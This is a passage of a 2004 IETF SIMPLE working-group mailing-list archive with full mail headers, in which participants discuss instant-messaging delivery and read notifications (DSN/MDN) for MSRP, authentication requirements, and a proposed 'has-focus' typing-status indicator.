	for simple@optimus.ietf.org; Sat, 06 Mar 2004 18:54:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11237
	for <simple@ietf.org>; Sat, 6 Mar 2004 18:53:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlcG-00016P-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:54:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzlbF-0000xi-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:57 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AzlaK-0000gv-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:00 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7443; Sat, 06 Mar 2004 18:51:10 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A2DD@zoe.office.snowshore.com>
Thread-Topic: Comments on Inter-domain Requirements
Thread-Index: AcQDAbpLiJdkA0F8S5ezt6v1OIfmFg==
From: "Eric Burger" <eburger@snowshore.com>
To: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Comments on Inter-domain Requirements
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 6 Mar 2004 18:51:33 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Section 6 asserts that Users SHOULD be able to authenticate each other.

Under what circumstances should they NOT be able to authenticate each =
other?

In section 7.3 I was wondering what is the difference between a B2BUA =
and the behavior described in Section 7.3?  In particular, what is the =
meaning of the last part of 7.3.1: constraining B1 to have all "A" =
buddies in their own group?


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Sat Mar  6 18:57:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11341
	for <simple-archive@ietf.org>; Sat, 6 Mar 2004 18:57:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlfH-0001YO-00
	for simple-archive@ietf.org; Sat, 06 Mar 2004 18:57:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzleN-0001PI-00
	for simple-archive@ietf.org; Sat, 06 Mar 2004 18:56:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzldP-0001Fx-00; Sat, 06 Mar 2004 18:55:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzldJ-0003UZ-26; Sat, 06 Mar 2004 18:55:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlcJ-0003OS-Tg
	for simple@optimus.ietf.org; Sat, 06 Mar 2004 18:54:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11240
	for <simple@ietf.org>; Sat, 6 Mar 2004 18:53:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlcG-00016U-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:54:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzlbG-0000xq-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:58 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AzlaK-0000gv-01
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:00 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7443; Sat, 06 Mar 2004 18:51:11 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A2E1@zoe.office.snowshore.com>
Thread-Topic: MDN, DSN, MESSAGE and MSRP
Thread-Index: AcQDCsn0f+qoCqxLTmuxGijQ303eUg==
From: "Eric Burger" <eburger@snowshore.com>
To: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] MDN, DSN, MESSAGE and MSRP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 6 Mar 2004 18:51:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable

Sorry I haven't been interactive in the "Advanced IM requirements" and =
"return receipt and delivery status notification for MSRP" threads.  =
Here is my collected thoughts on the subject.

First, a brief review of RFC2298 (DSN) and RFC3464 (MDN).

DSN (Delivery Status Notification) provides a mechanism for mail =
transfer agents (think proxy or relay) to notify a sender about problems =
with the forwarding of a message.

MDN (Message Disposition Notification) provides a mechanism for mail =
user agents (think SIP user agents) to notify a sender about the =
disposition (read, rejected, etc.) of a message.


Looking at the threads, it sounds like one requirement is finding out if =
a message made it to the user's device.

In e-mail, we address that with a DSN in the negative case.

In simple, we have two mechanisms.  First, message delivery, in both =
page-mode and MSRP, is reliable.  Either the message makes it to the =
device (200 OK) or it does not ([45]xx).  There is no need for a DSN on =
rejection -- the simple machinery takes care of that for us.

What happens if we get a 202?  In this case, the message is queued for =
delivery.  In e-mail, one can get a DSN, usually after a (reasonably =
long) period of time, like a day.  This avoids lots of "the message is =
queued; oops, I meant I just delivered it" messages.

It would be reasonable to emit something like a DSN ("message queued for =
a while") for IM.  We can be proactive and let the client specify a =
parameter for how long to wait (subject to server limitations).

Note that if the queued message gets dropped because the relay decides =
it will never delivery the message, a DSN, and not a MDN, gets generated =
(if requested).

MDNs describe what the UAS actually does with the message.  I assert =
(and would like list discussion) the following:

      The UAS generates a MDN (by request and with user authorization) =
upon
      the reading of a message ("Read Receipt").

Note the sender knows the message made it to the UAS, because they did =
not receive a DSN.

Is it desirable and, in the real world, useful, to have a "Deleted" MDN? =
 While it is defined for e-mail, people rarely use it.  When most =
messages get deleted without being read, the user often denies sending =
MDN's.  From a theoretical point of view, yes, it would be nice to have =
a MDN that tells the client to stop waiting for the read receipt that =
will never come.  However, from a practical point of view, clients must =
be able to deal with that situation, as it is highly likely that the =
read receipt will never come.

Note that in the e-mail world, only the final disposition is reported.


I am very concerned about having multiple notifications for a given =
message.  Consider the case of a forking proxy.  I have a pager, a SMS =
device, a soft client at work, a soft client at home, and a display SIP =
phone on my boat.  You send me a message, asking for DSN and MDN.  You =
will receive up to five DSNs saying "message got here" (which you knew =
anyway because you got 200's or 202's).  Then you will get up to five =
DSNs saying "message queued for delivery".  Then you will presumably get =
one "message read".  That is eleven status messages for a message that =
went on the happy path.  Imagine the explosion of messages if some of =
the devices are off ("message queued at the proxy" a few times) and then =
turn on ("message delivered to device").

Sure, it would be nice to have step-by-step notification of the message =
state.  However, would users really want this in the real world?

I would be happy to go either way.  I just don't like the idea of =
writing a bunch of specifications that never will make it past PS =
because no one will ever implement or use them.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Sat Mar  6 18:57:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11396
	for <simple-archive@odin.ietf.org>; Sat, 6 Mar 2004 18:57:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlfJ-0003yC-QE
	for simple-archive@odin.ietf.org; Sat, 06 Mar 2004 18:57:09 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i26Nv945015256
	for simple-archive@odin.ietf.org; Sat, 6 Mar 2004 18:57:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlfJ-0003xz-Hl
	for simple-web-archive@optimus.ietf.org; Sat, 06 Mar 2004 18:57:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11337
	for <simple-web-archive@ietf.org>; Sat, 6 Mar 2004 18:57:04 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlfG-0001YI-00
	for simple-web-archive@ietf.org; Sat, 06 Mar 2004 18:57:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzleM-0001PA-00
	for simple-web-archive@ietf.org; Sat, 06 Mar 2004 18:56:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzldP-0001Fv-00; Sat, 06 Mar 2004 18:55:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzldI-0003UR-F9; Sat, 06 Mar 2004 18:55:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlcJ-0003OL-A5
	for simple@optimus.ietf.org; Sat, 06 Mar 2004 18:54:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11237
	for <simple@ietf.org>; Sat, 6 Mar 2004 18:53:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlcG-00016P-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:54:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzlbF-0000xi-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:57 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AzlaK-0000gv-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:00 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7443; Sat, 06 Mar 2004 18:51:10 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A2DD@zoe.office.snowshore.com>
Thread-Topic: Comments on Inter-domain Requirements
Thread-Index: AcQDAbpLiJdkA0F8S5ezt6v1OIfmFg==
From: "Eric Burger" <eburger@snowshore.com>
To: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] Comments on Inter-domain Requirements
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 6 Mar 2004 18:51:33 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Section 6 asserts that Users SHOULD be able to authenticate each other.

Under what circumstances should they NOT be able to authenticate each =
other?

In section 7.3 I was wondering what is the difference between a B2BUA =
and the behavior described in Section 7.3?  In particular, what is the =
meaning of the last part of 7.3.1: constraining B1 to have all "A" =
buddies in their own group?


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Sat Mar  6 18:57:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11413
	for <simple-archive@odin.ietf.org>; Sat, 6 Mar 2004 18:57:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlfL-0003yW-2e
	for simple-archive@odin.ietf.org; Sat, 06 Mar 2004 18:57:11 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i26NvBsP015274
	for simple-archive@odin.ietf.org; Sat, 6 Mar 2004 18:57:11 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlfK-0003yH-Vi
	for simple-web-archive@optimus.ietf.org; Sat, 06 Mar 2004 18:57:10 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11359
	for <simple-web-archive@ietf.org>; Sat, 6 Mar 2004 18:57:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlfH-0001YT-00
	for simple-web-archive@ietf.org; Sat, 06 Mar 2004 18:57:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzleO-0001PP-00
	for simple-web-archive@ietf.org; Sat, 06 Mar 2004 18:56:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzldP-0001Fx-00; Sat, 06 Mar 2004 18:55:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzldJ-0003UZ-26; Sat, 06 Mar 2004 18:55:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AzlcJ-0003OS-Tg
	for simple@optimus.ietf.org; Sat, 06 Mar 2004 18:54:03 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA11240
	for <simple@ietf.org>; Sat, 6 Mar 2004 18:53:58 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AzlcG-00016U-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:54:00 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AzlbG-0000xq-00
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:58 -0500
Received: from goalie.snowshore.com ([216.57.133.4] helo=webshield.office.snowshore.com)
	by ietf-mx with smtp (Exim 4.12)
	id 1AzlaK-0000gv-01
	for simple@ietf.org; Sat, 06 Mar 2004 18:52:00 -0500
Received: from zoe.office.snowshore.com(192.168.1.172) by webshield.office.snowshore.com via csmap 
	 id 7443; Sat, 06 Mar 2004 18:51:11 -0500 (EST)
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Message-ID: <4A3384433CE2AB46A63468CB207E209DB1A2E1@zoe.office.snowshore.com>
Thread-Topic: MDN, DSN, MESSAGE and MSRP
Thread-Index: AcQDCsn0f+qoCqxLTmuxGijQ303eUg==
From: "Eric Burger" <eburger@snowshore.com>
To: <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] MDN, DSN, MESSAGE and MSRP
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Sat, 6 Mar 2004 18:51:36 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Sorry I haven't been interactive in the "Advanced IM requirements" and =
"return receipt and delivery status notification for MSRP" threads.  =
Here is my collected thoughts on the subject.

First, a brief review of RFC2298 (DSN) and RFC3464 (MDN).

DSN (Delivery Status Notification) provides a mechanism for mail =
transfer agents (think proxy or relay) to notify a sender about problems =
with the forwarding of a message.

MDN (Message Disposition Notification) provides a mechanism for mail =
user agents (think SIP user agents) to notify a sender about the =
disposition (read, rejected, etc.) of a message.


Looking at the threads, it sounds like one requirement is finding out if =
a message made it to the user's device.

In e-mail, we address that with a DSN in the negative case.

In simple, we have two mechanisms.  First, message delivery, in both =
page-mode and MSRP, is reliable.  Either the message makes it to the =
device (200 OK) or it does not ([45]xx).  There is no need for a DSN on =
rejection -- the simple machinery takes care of that for us.

What happens if we get a 202?  In this case, the message is queued for =
delivery.  In e-mail, one can get a DSN, usually after a (reasonably =
long) period of time, like a day.  This avoids lots of "the message is =
queued; oops, I meant I just delivered it" messages.

It would be reasonable to emit something like a DSN ("message queued for =
a while") for IM.  We can be proactive and let the client specify a =
parameter for how long to wait (subject to server limitations).

Note that if the queued message gets dropped because the relay decides =
it will never delivery the message, a DSN, and not a MDN, gets generated =
(if requested).

MDNs describe what the UAS actually does with the message.  I assert =
(and would like list discussion) the following:

      The UAS generates a MDN (by request and with user authorization) =
upon
      the reading of a message ("Read Receipt").

Note the sender knows the message made it to the UAS, because they did =
not receive a DSN.

Is it desirable and, in the real world, useful, to have a "Deleted" MDN? =
 While it is defined for e-mail, people rarely use it.  When most =
messages get deleted without being read, the user often denies sending =
MDN's.  From a theoretical point of view, yes, it would be nice to have =
a MDN that tells the client to stop waiting for the read receipt that =
will never come.  However, from a practical point of view, clients must =
be able to deal with that situation, as it is highly likely that the =
read receipt will never come.

Note that in the e-mail world, only the final disposition is reported.


I am very concerned about having multiple notifications for a given =
message.  Consider the case of a forking proxy.  I have a pager, a SMS =
device, a soft client at work, a soft client at home, and a display SIP =
phone on my boat.  You send me a message, asking for DSN and MDN.  You =
will receive up to five DSNs saying "message got here" (which you knew =
anyway because you got 200's or 202's).  Then you will get up to five =
DSNs saying "message queued for delivery".  Then you will presumably get =
one "message read".  That is eleven status messages for a message that =
went on the happy path.  Imagine the explosion of messages if some of =
the devices are off ("message queued at the proxy" a few times) and then =
turn on ("message delivered to device").

Sure, it would be nice to have step-by-step notification of the message =
state.  However, would users really want this in the real world?

I would be happy to go either way.  I just don't like the idea of =
writing a bunch of specifications that never will make it past PS =
because no one will ever implement or use them.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  8 06:00:27 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA24524
	for <simple-archive@ietf.org>; Mon, 8 Mar 2004 06:00:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IUl-000766-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 06:00:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0ITm-0006xq-00
	for simple-archive@ietf.org; Mon, 08 Mar 2004 05:59:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ITZ-0006pr-00; Mon, 08 Mar 2004 05:59:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ISP-0008E6-2j; Mon, 08 Mar 2004 05:58:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0IRq-0008Bz-9m
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 05:57:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24396
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:57:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IRm-0006eV-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:57:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0IQo-0006VH-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:56:23 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IPv-0006MB-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:55:27 -0500
Received: from bear.cs.columbia.edu (IDENT:X0GUPHPktX6nA5JFEDYkVXtcPHqrKtJA@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i28AtSWo018895
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:55:28 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
	by bear.cs.columbia.edu (8.12.9/8.12.9) with ESMTP id i28AtRfG003234
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT)
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:55:28 -0500
Message-ID: <404C511B.7050506@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7a) Gecko/20040219
X-Accept-Language: en-us, en, de
MIME-Version: 1.0
To: Simple WG <simple@ietf.org>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] is-composing: has-focus?
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 08 Mar 2004 05:55:23 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

The AT&T Hubbubb IM/presence client (http://www.hubbubme.com/) has an 
interesting feature that fits nicely into the is-composing draft: a 
'has-focus' indication that shows if the IM application has the user's 
window focus, i.e., the user is paying attention to what's being sent 
from the other side or is likely to respond soon. Any opinions of 
including this as an optional state, i.e., a user MUST be able to choose 
whether this gets sent and it MUST be off by default?

Henning

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  8 06:00:58 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA24551
	for <simple-archive@odin.ietf.org>; Mon, 8 Mar 2004 06:00:58 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0IUq-0008Pm-89
	for simple-archive@odin.ietf.org; Mon, 08 Mar 2004 06:00:32 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i28B0WLe032346
	for simple-archive@odin.ietf.org; Mon, 8 Mar 2004 06:00:32 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0IUq-0008Pd-1f
	for simple-web-archive@optimus.ietf.org; Mon, 08 Mar 2004 06:00:32 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA24544
	for <simple-web-archive@ietf.org>; Mon, 8 Mar 2004 06:00:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IUm-00076B-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 06:00:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0ITn-0006xx-00
	for simple-web-archive@ietf.org; Mon, 08 Mar 2004 05:59:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0ITZ-0006pr-00; Mon, 08 Mar 2004 05:59:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0ISP-0008E6-2j; Mon, 08 Mar 2004 05:58:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B0IRq-0008Bz-9m
	for simple@optimus.ietf.org; Mon, 08 Mar 2004 05:57:26 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA24396
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:57:22 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IRm-0006eV-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:57:22 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B0IQo-0006VH-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:56:23 -0500
Received: from cs.columbia.edu ([128.59.16.20])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B0IPv-0006MB-00
	for simple@ietf.org; Mon, 08 Mar 2004 05:55:27 -0500
Received: from bear.cs.columbia.edu (IDENT:X0GUPHPktX6nA5JFEDYkVXtcPHqrKtJA@bear.cs.columbia.edu [128.59.16.121])
	by cs.columbia.edu (8.12.10/8.12.10) with ESMTP id i28AtSWo018895
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <simple@ietf.org>; Mon, 8 Mar 2004 05:55:28 -0500 (EST)
Received: from cs.columbia.edu (pool-138-89-69-144.mad.east.verizon.net [138.89.69.144])
	(authenticated bits=0)
